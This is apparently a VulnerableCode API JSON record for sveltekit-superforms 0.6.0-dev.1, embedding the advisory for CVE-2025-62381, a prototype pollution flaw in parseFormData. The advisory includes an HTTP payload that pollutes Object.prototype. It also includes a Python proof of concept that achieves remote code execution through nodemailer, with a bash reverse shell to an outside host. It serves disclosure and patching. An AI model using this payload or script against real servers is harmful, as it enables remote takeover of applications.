{"url":"http://public2.vulnerablecode.io/api/packages/854659?format=json","purl":"pkg:npm/sveltekit-superforms@0.6.0-dev.1","type":"npm","namespace":"","name":"sveltekit-superforms","version":"0.6.0-dev.1","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"2.27.4","latest_non_vulnerable_version":"2.27.4","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/27653?format=json","vulnerability_id":"VCID-wv8c-r25v-gubs","summary":"`sveltekit-superforms` has Prototype Pollution in `parseFormData` function of `formData.js`\n### Summary\n`sveltekit-superforms` v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the `parseFormData` function of `formData.js`. An attacker can inject string and array properties into `Object.prototype`, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.\n\n### Details\nSuperforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the `superValidate` function, with the submitted form data and a form schema as arguments:\n```js\n// https://superforms.rocks/get-started#posting-data\nconst form = await superValidate(request, your_adapter(schema));\n ```\n Within the `superValidate` function, a call is made to `parseRequest` in order to parse the user's input. `parseRequest` then calls into `parseFormData`, which in turn looks for the presence of `__superform_json` in the form parameters. If `__superform_json` is present, the following snippet is executed:\n```js\n// src/lib/formData.ts\nif (formData.has('__superform_json')) {\n\ttry {\n\t\tconst transport =\n\t\t\toptions && options.transport\n\t\t\t\t? Object.fromEntries(Object.entries(options.transport).map(([k, v]) => [k, v.decode]))\n\t\t\t\t: undefined;\n\n\t\tconst output = parse(formData.getAll('__superform_json').join('') ?? '', transport);\n\t\tif (typeof output === 'object') {\n\t\t\t// Restore uploaded files and add to data\n\t\t\tconst filePaths = Array.from(formData.keys());\n\n\t\t\tfor (const path of filePaths.filter((path) => path.startsWith('__superform_file_'))) {\n\t\t\t\tconst realPath = splitPath(path.substring(17));\n\t\t\t\tsetPaths(output, [realPath], formData.get(path));\n\t\t\t}\n\n\t\t\tfor (const path of filePaths.filter((path) => path.startsWith('__superform_files_'))) {\n\t\t\t\tconst realPath = splitPath(path.substring(18));\n\t\t\t\tconst allFiles = formData.getAll(path);\n\n\t\t\t\tsetPaths(output, [realPath], Array.from(allFiles));\n\t\t\t}\n\n\t\t\treturn output as Record<string, unknown>;\n\t\t}\n\t} catch {\n\t\t//\n\t}\n }\n```\nThis snippet deserializes JSON input within the `__superform_json`, and then performs a nested assignment into the deserialized object using values from form parameters beginning with `__superform_file_` and `__superform_files_`. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute `Object.prototype.toString`, which leads to a persistent denial of service in many applications:\n```\nPOST /signup HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://example.com/signup\ncontent-type: application/x-www-form-urlencoded\nx-sveltekit-action: true\nContent-Length: 70\nOrigin: http://example.com\nConnection: keep-alive\nPriority: u=0\nPragma: no-cache\nCache-Control: no-cache\n\n__superform_json=[{}]&__superform_files___proto__.toString='corrupted'\n```\n### PoC\nThe following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular `nodemailer` library (5 million weekly downloads from npm).\n\n`routes/signup/schema.ts`:\n```js\nimport { z } from \"zod/v4\";\n\nexport const schema = z.object({\n    email: z\n        .email({\n            error: \"Please enter a valid email address.\",\n        })\n        .min(1, {\n            error: \"Email address is required.\",\n        }),\n    password: z.string().min(8, {\n        error: \"Password must be at least 8 characters long.\",\n    }),\n});\n```\n`routes/signup/+page.server.ts`:\n```js\nimport { zod4 } from \"sveltekit-superforms/adapters\";\nimport { fail, setError, superValidate } from \"sveltekit-superforms\";\nimport { schema } from \"./schema\";\nimport nodemailer from \"nodemailer\";\nimport {\n    MAIL_USER,\n    MAIL_CLIENT_ID,\n    MAIL_CLIENT_SECRET,\n    MAIL_REFRESH_TOKEN,\n} from \"$env/static/private\";\n\nexport const actions = {\n    default: async ({ request }) => {\n        const form = await superValidate(request, zod4(schema));\n\n        if (!form.valid) {\n            return fail(400, { form });\n        }\n\n        // <insert other signup code here: DB ops, logging etc..>\n\n        nodemailer\n            .createTransport({\n                service: \"gmail\",\n                auth: {\n                    type: \"OAuth2\",\n                    user: MAIL_USER,\n                    clientId: MAIL_CLIENT_ID,\n                    clientSecret: MAIL_CLIENT_SECRET,\n                    refreshToken: MAIL_REFRESH_TOKEN,\n                },\n            })\n            .sendMail({\n                to: form.data.email,\n                subject: \"Welcome to $app!\",\n                html: \"<p> Welcome to $app. We hope you enjoy your stay.</p>\",\n                text: \"Welcome to $app. We hope you enjoy your stay.\",\n            });\n    },\n};\n```\n\nThe following Python script then pollutes the base object prototype in order to achieve RCE.\n```python\n#!/usr/bin/env python3\n\nimport requests\n\nRHOST = \"http://localhost:4173\"\nsession = requests.Session()\n\nr = session.post(\n    f\"{RHOST}/signup\",\n    data={\n        \"__superform_json\": \"[{}]\",\n        \"__superform_file___proto__.sendmail\": \"1\",\n        \"__superform_file___proto__.path\": \"/bin/bash\",\n        \"__superform_files___proto__.args\": [\n            \"-c\",\n            \"bash -i >& /dev/tcp/dread.mantel.group/443 0>&1\",\n            \"--\",\n        ],\n    },\n    headers={\"Origin\": RHOST},\n)\n\nr = session.post(\n    f\"{RHOST}/signup\",\n    data={\"email\": \"me@example.com\", \"password\": \"usersignuppassword\"},\n    headers={\"Origin\": RHOST},\n)\n```\n<img width=\"747\" height=\"173\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7b097187-7110-409a-915d-94782c15f597\" />\n\nIn addition to `nodemailer`, the Language-Based Security group at KTH Royal Institute of Technology also compiles gadgets in many other [popular libraries and runtimes](https://github.com/KTH-LangSec/server-side-prototype-pollution), which can be used together with this vulnerability.\n\n### Impact\nAttackers can inject string and array properties into `Object.prototype`. This has a high probability of leading to denial of service and type confusion, with potential escalation to other impacts such as remote code execution, depending on the presence of reliable gadgets.","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-62381","reference_id":"","reference_type":"","scores":[{"value":"0.01006","scoring_system":"epss","scoring_elements":"0.77342","published_at":"2026-05-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-62381"},{"reference_url":"https://github.com/ciscoheat/sveltekit-superforms","reference_id":"","reference_type":"","scores":[{"value":"8.3","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ciscoheat/sveltekit-superforms"},{"reference_url":"https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4","reference_id":"","reference_type":"","scores":[{"value":"8.3","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-10-15T19:50:45Z/"}],"url":"https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4"},{"reference_url":"https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7","reference_id":"","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"8.3","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-10-15T19:50:45Z/"}],"url":"https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62381","reference_id":"","reference_type":"","scores":[{"value":"8.3","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62381"},{"reference_url":"https://github.com/advisories/GHSA-hwmc-4c8j-xxj7","reference_id":"GHSA-hwmc-4c8j-xxj7","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-hwmc-4c8j-xxj7"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/61343?format=json","purl":"pkg:npm/sveltekit-superforms@2.27.4","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/sveltekit-superforms@2.27.4"}],"aliases":["CVE-2025-62381","GHSA-hwmc-4c8j-xxj7"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-wv8c-r25v-gubs"}],"fixing_vulnerabilities":[],"risk_score":null,"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/sveltekit-superforms@0.6.0-dev.1"}